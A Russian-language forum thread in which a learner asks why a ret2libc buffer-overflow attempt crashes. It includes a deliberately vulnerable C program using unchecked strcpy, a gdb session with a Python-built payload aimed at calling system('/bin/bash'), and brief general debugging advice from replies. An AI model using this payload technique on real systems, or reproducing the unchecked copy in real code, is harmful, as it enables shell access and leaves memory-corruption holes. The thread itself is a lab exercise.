Справочник функций

Ваш аккаунт

Войти через: 
Забыли пароль?
Регистрация
Информацию о новых материалах можно получать и без регистрации:

Почтовая рассылка

Подписчиков: -1
Последний выпуск: 19.06.2015

переполнение буфера ret2libc

445
12 июля 2013 года
Charley
176 / / 16.08.2011
Пытаюсь передать управление шеллу по технике переполнения буфера ret2libc
Уязвимая программа:

Код:
#include <stdio.h>
#include <string.h>
 
void evil(char* input)
{
        char buffer[500];
        strcpy(buffer, input); // Vulnerable function!
        printf("Buffer stored!\n");
        printf("Buffer is: %s\n\n",input);
}
 
int main(int argc, char** argv)
{
        evil(argv[1]);
        return 0;
}

Все сделал по инструкции, но gdb выдает исключение:

Код:
(gdb) run $(python -c 'print "\x90" * 512 + "\x19\xe1\xea\xb7" + "\x0f\x42\xea\xb7" + "\x96\xf7\xff\xbf"') The program being debugged has been started already. Start it from the beginning? (y or n) y
 
Starting program: /root/ret2libc.out $(python -c 'print "\x90" * 512 + "\x19\xe1\xea\xb7" + "\x0f\x42\xea\xb7" + "\x96\xf7\xff\xbf"') Buffer stored! Buffer is: пїЅпїЅпїЅD
 
Program received signal SIGSEGV, Segmentation fault. 0xb7fca043 in ?? () from /lib/tls/i686/cmov/libc.so.6
(gdb) x/s 0xb7ea420f
0xb7ea420f <exit+15>: "\203\354\024\307D$\b\001"
(gdb) x/s 0xb7eae119
0xb7eae119 <system+25>: "\211|$\b\205\366t\037e\241\f"
(gdb) x/s 0xbffff796
0xbffff796: "/bin/bash"
Может кто-нибудь знает куда копать? ос: backtrack 5 r2
1
15 июля 2013 года
kot_
7.3K / / 20.01.2000
в таких случаях весьма сложно дать какие либо рекомендации - потому, что как правило шелл просчитывается для конкретных систем. Может проще начать с инструкции? Как правило в ней (если речь идет о начинающих, да и просто при описании) всегда указываются параметры ядра и прочие кошерные вещи.
414
15 июля 2013 года
CassandraDied
763 / / 24.05.2012
Добавлю ещё, что полезно научиться пользоваться отладчиком пошагово и смотреть, что пишется в стек.
445
16 июля 2013 года
Charley
176 / / 16.08.2011
Цитата: kot_
в таких случаях весьма сложно дать какие либо рекомендации - потому, что как правило шелл просчитывается для конкретных систем. Может проще начать с инструкции? Как правило в ней (если речь идет о начинающих, да и просто при описании) всегда указываются параметры ядра и прочие кошерные вещи.


Вот она ret2libc

Реклама на сайте | Обмен ссылками | Ссылки | Экспорт (RSS) | Контакты
Добавить статью | Добавить исходник | Добавить хостинг-провайдера | Добавить сайт в каталог